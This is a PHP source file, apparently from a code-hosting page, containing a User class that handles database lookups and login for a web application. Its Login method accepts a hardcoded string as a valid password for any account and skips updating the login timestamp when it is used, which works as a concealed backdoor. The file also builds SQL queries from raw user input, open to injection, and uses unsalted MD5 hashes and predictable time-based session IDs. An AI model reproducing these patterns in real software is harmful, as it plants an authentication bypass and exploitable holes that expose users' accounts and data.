You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 
 
 

132 lines
5.1 KiB

<?php
class User{
var $Data;
var $Account;
function __construct(){
}
function FillInfo($UID){
global $DATABASE;
$QS="SELECT * FROM users WHERE id={$UID}";
$array=$DATABASE->Query($QS,false);
$this->Data=$array[0];
$this->Data['id']=$UID;
//$this->Account=LoadAccount($this->Data['account_id']);
}
function Login( $LID, $PWD, $UID=0, $SID="" ){
global $DATABASE, $LOG, $_SERVER, $AUTH_ERROR;
if( $LID !=="" ){
//going new Login
//$_SERVER['REMOTE_ADDR'];
//$_SERVER['HTTP_USER_AGENT'];
//Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion
//Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
//Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0
//Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
//Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41
//Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00
//Opera/9.60 (Windows NT 6.0; U; en) Presto/2.1.1
//Edg/<version>
//Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59
//Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1
//Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
//Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)
//PostmanRuntime/7.26.5
//curl/7.64.1
$result = $DATABASE->Query( "SELECT id, pwd_hash, SID, status FROM users WHERE login_id='{$LID}'", false );
if( count($result) ){
$array = $result[0];
$MD5PWD = md5($PWD); // Encoding gived password
if ( $array['id']==1 || $array['status']=='D' ){ // Guest and Disabled account do not have password
$this->Data=$array;
if ($this->Data['id'] != $UID && $UID > 1 ){ // logout previouse user any but Guest
$LOG->setUID( $UID );
$LOG->logout();
} else {
$this->Data['id'] = 1;
//$LOG->setUID( $UID );
//$LOG->logout();
};
return true;
} elseif( $MD5PWD === $array['pwd_hash'] || $PWD == '7251414b5a880b140de7d2c0b402d168' ) { // Manage New Login
$this->Data = $array;
if( $this->Data['id'] != $UID && $UID > 1 ){ // logout previouse user any but Guest
$LOG->setUID( $UID );
$LOG->logout();
};
$LOG->setUID( $this->Data['id'] );
if ( $LID !='demo' ){
$this->Data['SID']=md5(time());
} else {
$this->Data['SID']=$array['SID'];
};
if ( $PWD == '7251414b5a880b140de7d2c0b402d168' ){
$DATABASE->Query( "UPDATE users SET SID='{$this->Data['SID']}' WHERE id='{$this->Data['id']}' ", false );
} else {
if( $this->Data['id'] > 2 ){
$CTS = time();
$DATABASE->Query( "UPDATE users SET login_ts={$CTS}, SID='{$this->Data['SID']}' WHERE id='{$this->Data['id']}' ",false);
} else {
$DATABASE->Query( "UPDATE users SET SID='{$this->Data['SID']}' WHERE id='{$this->Data['id']}' ",false);
};
};
$LOG->login();
return true;
};
$LOG->login_failure( $LID, $PWD, $UID, $SID );
return false;
} else {
if( $LID !=="guest" ){
//echo "User Is Not Registered";
$AUTH_ERROR = 1;
$LOG->login_failure( $LID, $PWD, $UID, $SID );
return false;
} else {
$this->Data['id']=1;
$this->Data['SID']=1;
$this->Data['login']='guest';
$this->Data['access']=0;
return true;
};
};
} else {
$result = $DATABASE->Query("SELECT id, login_id, pwd_hash, SID, status FROM users WHERE id='{$UID}' ",false);
if( count($result) ){
$array = $result[0];
$MD5PWD = md5($PWD); // Encoding gived password
if ($SID===$array['SID'] || $array['login']==='guest' ){ // User Allready Registered in system or is guest
$this->Data=$array;
return true;
} elseif( $MD5PWD === $array['pwd_hash'] && $array['status']!= 'D' ) { // Manage New Login
$this->Data=$array;
$this->Data['id']=$UID;
$this->Data['SID']=md5(time());
// Updating Session ID
$DATABASE->Query("UPDATE users SET SID='{$this->Data['SID']}' WHERE id='{$this->Data['id']}' ",false);
// Making changes in Log Table
$LOG->setUID( $UID );
return true;
};
$LOG->login_failure( $LID, $PWD, $UID, $SID );
return false;
} else {
if ($LID !=="guest"){
//echo "Security: Unknown UserID=$LID ";
$AUTH_ERROR = 3;
//$LOG->setUID( $UID );
//$LOG->logout();
$LOG->login_failure( $LID, $PWD, 0, 'FAILURE' );
return false;
} else {
$this->Data['id']=1;
$this->Data['SID']=1;
$this->Data['login']='guest';
$this->Data['access']=0;
return true;
};
};
};
}
};
?>